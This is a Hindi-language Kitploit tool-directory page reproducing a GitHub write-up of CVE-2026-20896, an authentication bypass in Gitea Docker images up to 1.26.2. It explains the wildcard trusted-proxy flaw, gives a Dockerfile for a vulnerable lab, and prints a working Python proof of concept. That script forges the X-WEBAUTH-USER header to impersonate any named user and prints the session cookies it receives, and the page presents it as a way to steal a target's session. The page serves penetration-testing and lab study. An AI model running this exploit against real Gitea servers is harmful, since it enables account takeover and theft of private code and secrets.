Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-20896-Gitea-Authentication-Bypass — CVE-2026-20896 प्रमाणीकरण बायपास भेद्यता का Gitea पर शोषण करने हेतु एक व्याख्या और PoC। Gitea इंस्टेंस में वैध उपयोगकर्ताओं के session tokens चुराने में सक्षम होना। | Kitploit
उपकरण/GitHubGitHub/judgedbykira/cve-2026-20896-gitea-authentication-bypass
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षालैब और अभ्यास
GitHub
judgedbykira/cve-2026-20896-gitea-authentication-bypass

CVE-2026-20896-Gitea-Authentication-Bypass

CVE-2026-20896 प्रमाणीकरण बायपास भेद्यता का Gitea पर शोषण करने हेतु एक व्याख्या और PoC। Gitea इंस्टेंस में वैध उपयोगकर्ताओं के session tokens चुराने में सक्षम होना।

रिपॉजिटरी देखें
201 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-20896 - Gitea ≤1.26.2 प्रमाणीकरण बाईपास

1. Gitea क्या है?

Gitea एक हल्का, ओपन-सोर्स Git होस्टिंग प्लेटफ़ॉर्म है जो संगठनों और डेवलपर्स को स्रोत कोड रिपॉजिटरी प्रबंधित करने, मुद्दों को ट्रैक करने, परिवर्तनों की समीक्षा करने और सॉफ़्टवेयर परियोजनाओं पर सहयोग करने की सुविधा देता है। यह GitHub और GitLab जैसे प्लेटफ़ॉर्म के समान कार्यक्षमता प्रदान करता है, लेकिन इसे स्व-होस्टेड, कुशल और बनाए रखने में आसान बनाने के लिए डिज़ाइन किया गया है, जिससे यह उन संगठनों के लिए उपयुक्त है जो अपने कोड और विकास अवसंरचना पर अधिक नियंत्रण चाहते हैं।

2. भेद्यता स्पष्टीकरण

CVE-2026-20896 आधिकारिक Gitea Docker इमेज में एक गंभीर प्रमाणीकरण-बाईपास भेद्यता है, जिसे CVSS 9.8 (Critical) रेटिंग दी गई है। यह 1.26.2 तक के Gitea Docker इमेज संस्करणों को प्रभावित करती है। अंतर्निहित समस्या एक असुरक्षित डिफ़ॉल्ट कॉन्फ़िगरेशन है: REVERSE_PROXY_TRUSTED_PROXIES = *, जिसके कारण Gitea किसी भी IP पते से आने वाले रिवर्स-प्रॉक्सी प्रमाणीकरण हेडर पर भरोसा करता है। जब रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम होता है, तो एक बिना प्रमाणीकरण वाला दूरस्थ हमलावर नकली X-WEBAUTH-USER हेडर भेज सकता है और Gitea हमलावर को निर्दिष्ट उपयोगकर्ता के रूप में मान लेता है। विशेष रूप से, किसी व्यवस्थापक की पहचान धारण करने पर पासवर्ड या मान्य प्रमाणीकरण टोकन के बिना पूर्ण व्यवस्थापकीय पहुँच प्राप्त की जा सकती है।

संभावित प्रभाव गंभीर है, क्योंकि Gitea तक व्यवस्थापकीय पहुँच निजी स्रोत कोड रिपॉजिटरी, क्रेडेंशियल और CI/CD रहस्यों को उजागर कर सकती है, साथ ही रिपॉजिटरी, SSH कुंजियों, वेबहुक और अन्य सुरक्षा-संवेदनशील सेटिंग्स में संशोधन की अनुमति दे सकती है। यह भेद्यता विशेष रूप থেকে उन डिप्लॉयमेंट्स के लिए प्रासंगिक है जो प्रभावित Docker इमेज को रिवर्स-प्रॉक्सी प्रमाणीकरण के साथ उपयोग करते हैं; यह केवल Gitea के सामान्य पासवर्ड प्रमाणीकरण तंत्र में कोई दोष नहीं है। Gitea ने इस समस्या को संस्करण 1.26.3 में संबोधित किया है, और व्यवस्थापकों को सलाह दी जाती है कि वे वर्तमान पैच किए गए रिलीज़ में अपग्रेड करें और असुरक्षित वाइल्डकार्ड सेटिंग पर निर्भर रहने के बजाय अपने रिवर्स-प्रॉक्सी ट्रस्ट कॉन्फ़िगरेशन की समीक्षा करें। रिपोर्टों से यह भी संकेत मिला है कि खुले (exposed) Gitea इंस्टेंस के खिलाफ शोषण के प्रयास हो रहे हैं, जिससे शीघ्र निवारण विशेष रूप से महत्वपूर्ण हो जाता है।

CWEs

  • CWE-284 – Improper Access Control.

TTPs

  • T1078 (Valid Accounts)
  • T1190 (Exploit Public-Facing Application)

3. लैब निर्माण

हम Gitea के एक भेद्य संस्करण, इस मामले में 1.26.2, का उपयोग करके निम्नलिखित Dockerfile के माध्यम से एक Docker कंटेनर चलाएँगे:

FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu

CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'

# Start Gitea using the original image entrypoint.
 /usr/bin/entrypoint "$@" &
pid=$!

trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email [email protected] \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]

फिर डॉकर कंटेनर बनाने के लिए निम्नलिखित कमांड का उपयोग करें:

docker build -t gitea-cve-2026-20896-lab .

अंत में, निम्नलिखित कमांड का उपयोग करके डॉकर कंटेनर को डिप्लॉय करें:

docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab

4. प्रमाण की अवधारणा (Proof of Concept)

यदि हम Gitea इंस्टेंस पर किसी भी उपयोगकर्ता का नाम जानते हैं, तो हम X-WEBAUTH-USER: username हेडर का दुरुपयोग करके उसकी पहचान धारण कर सकते हैं। इस लैब में हमने jbkira नामक एक उपयोगकर्ता बनाया है, इसलिए हम किसी प्रॉक्सी का उपयोग करके Gitea के मुख्य पृष्ठ तक सामान्य बिना-प्रमाणीकरण वाली पहुँच को कैप्चर करेंगे; उदाहरण के लिए मैं BurpSuite का उपयोग करूँगा और हेडर डालेंगे:

छवि

यदि हम उस अनुरोध को X-WEBAUTH-USER हेडर के साथ आगे बढ़ाते हैं, तो जब हम अपने ब्राउज़र में फिर से Gitea पृष्ठ पर जाएँगे, तो हम देखेंगे कि हम अब jbkira उपयोगकर्ता के रूप में लॉग इन हैं। लेकिन यह हमेशा उस तरह काम नहीं करता है, इसलिए मैंने एक PoC स्क्रिप्ट बनाई है जो हमले को अंजाम देती है और लक्षित उपयोगकर्ता की सत्र कुकी (session cookie) चुरा लेती है, जिसे आप बाद में अपने ब्राउज़र में कॉपी-पेस्ट करके लक्षित उपयोगकर्ता तक पहुँच प्राप्त कर सकते हैं।

5. स्वचालित PoC स्क्रिप्ट

Python में स्वचालित PoC जो प्रमाणीकरण बाईपास दोष का दुरुपयोग करता है और लक्षित उपयोगकर्ता की सत्र कुकी चुरा लेता है:

import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    banner()
    args = argparse_setup()
    attack(args.url, args.target_user)

if __name__ == "__main__":
    main()

उदाहरण उपयोग:

┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira
टूल डाउनलोड करें